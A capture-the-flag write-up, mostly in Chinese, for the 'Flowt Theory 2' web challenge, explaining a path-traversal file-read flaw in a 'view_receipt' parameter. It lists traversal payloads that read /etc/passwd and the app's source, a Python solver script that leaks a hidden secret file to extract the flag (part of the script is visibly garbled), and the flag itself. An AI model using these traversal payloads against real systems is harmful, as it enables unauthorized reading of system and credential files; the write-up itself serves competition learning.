Tags: misc web floating-point lfi
Rating:
## 134 Flowt Theory 2
- Category: `misc`
- Value: `362`
- Solves: `47`
- Solved by me: `True`
- Local directory: `misc/Flowt`
### 题目描述
> My friends and I built the BillSplitter Lite app to track our expenses and settle debts. It uses some extremely advanced math to make sure everyone pays exactly what they owe...
> Can you find the hidden administrative fee?
>
> Author: Gaugerus
### 连接信息
- `52.59.124.14:5070`
### 附件下载地址
- 无
### 内存布局
- 暂无可解析二进制 或 本题主要是非二进制方向
### WP
# Flowt Theory 解题记录
---
## 题目信息
- 题目: Flowt Theory
- 类型: Misc / Web
- 目标: 获取 `ENO{...}` flag
- 远程: `52.59.124.14:5069`
---
## 初步观察
访问首页后可以看到:
1. 总金额永远多出 `0.01`。
2. 交易名输入框提示词是 `Filename`,并且可通过 `?view_receipt=xxx` 查看“日志文件”。
3. 页面提示有“hidden administrative fee of 0.01”。
这说明后端可能把每条记录都写入文件,再按文件内容做求和。
---
## 漏洞定位
通过目录穿越测试发现 `view_receipt` 参数存在 LFI(本质是任意文件读取)。
例如可读:
- `?view_receipt=../../../../../etc/passwd`
进一步读取源码:
- `?view_receipt=../../../../../var/www/html/index.php`
源码关键逻辑:
1. 每个会话目录会生成一个隐藏文件,内容是:
- 第一行 `0.01`
- 第二行真实 flag
2. 隐藏文件名是随机的,如 `secret_xxxxxxxx`。
3. 这个随机文件名会写到同目录下的 `.lock`。
4. 页面列出交易时会刻意排除该隐藏文件,因此用户只能看到“多出来 0.01”,看不到 flag。
5. 但 `view_receipt` 直接拼接路径读取,没有做路径限制。
数学上,总额是
$\text{Total}=\sum_i a_i + 0.01$
而这个 $0.01$ 正是隐藏文件第一行被 `(float)` 解析后参与求和的结果。
---
## 利用链
1. 先请求主页建立会话。
2. 读取 `?view_receipt=.lock`,得到随机隐藏文件名 `secret_xxxxxxxx`。
3. 再读取 `?view_receipt=secret_xxxxxxxx`,拿到两行内容,第二行即 flag。
---
## 失败尝试记录
1. 一开始把 `5069` 当作裸 TCP 服务,直接 `nc` 没有输出;后确认是 HTTP 服务。
2. 先尝试直接读 `/flag.txt`,目录层级不够导致失败。
3. 后续通过读取 `index.php` 才完整确认了隐藏文件与 `.lock` 的关系,改为稳定两步读取法。
---
## 解题脚本
脚本位置:`solution/solution.py`
执行:
```bash
python3 solution/solution.py
```
---
## Flag
```text
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
```
### Exploit
#### misc/Flowt/solution/solution.py
```python
#!/usr/bin/env python3
import html
import re
import sys
import urllib.parse
import urllib.request
import http.cookiejar
# BASE_URL = "http://52.59.124.14:5069/"
BASE_URL = "http://52.59.124.14:5070"
TIMEOUT = 8
def fetch(opener, params=None):
if params:
url = BASE_URL + "?" + urllib.parse.urlencode(params)
else:
url = BASE_URL
with opener.open(url, timeout=TIMEOUT) as resp:
return resp.read().decode("utf-8", errors="replace")
def extract_pre_code(page):
m = re.search(r"
(.*?)", page, re.S)def main():
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
# Initialize session directory on remote side.
fetch(opener)
# LFI #1: read lock file in user dir to get randomized hidden filename.
lock_page = fetch(opener, {"view_receipt": ".lock"})
secret_name = extract_pre_code(lock_page)
if not secret_name or secret_name == "File not found.":
print("[-] Failed to leak .lock or invalid response")
sys.exit(1)
# LFI #2: read hidden secret file, second line contains flag.
secret_page = fetch(opener, {"view_receipt": secret_name})
m = re.search(r"ENO\{[^}\n]+\}", secret_page)
if not m:
print("[-] Flag not found")
sys.exit(1)
print("[+] Secret file:", secret_name)
print("[+] Flag:", m.group(0))
if __name__ == "__main__":
main()
```
---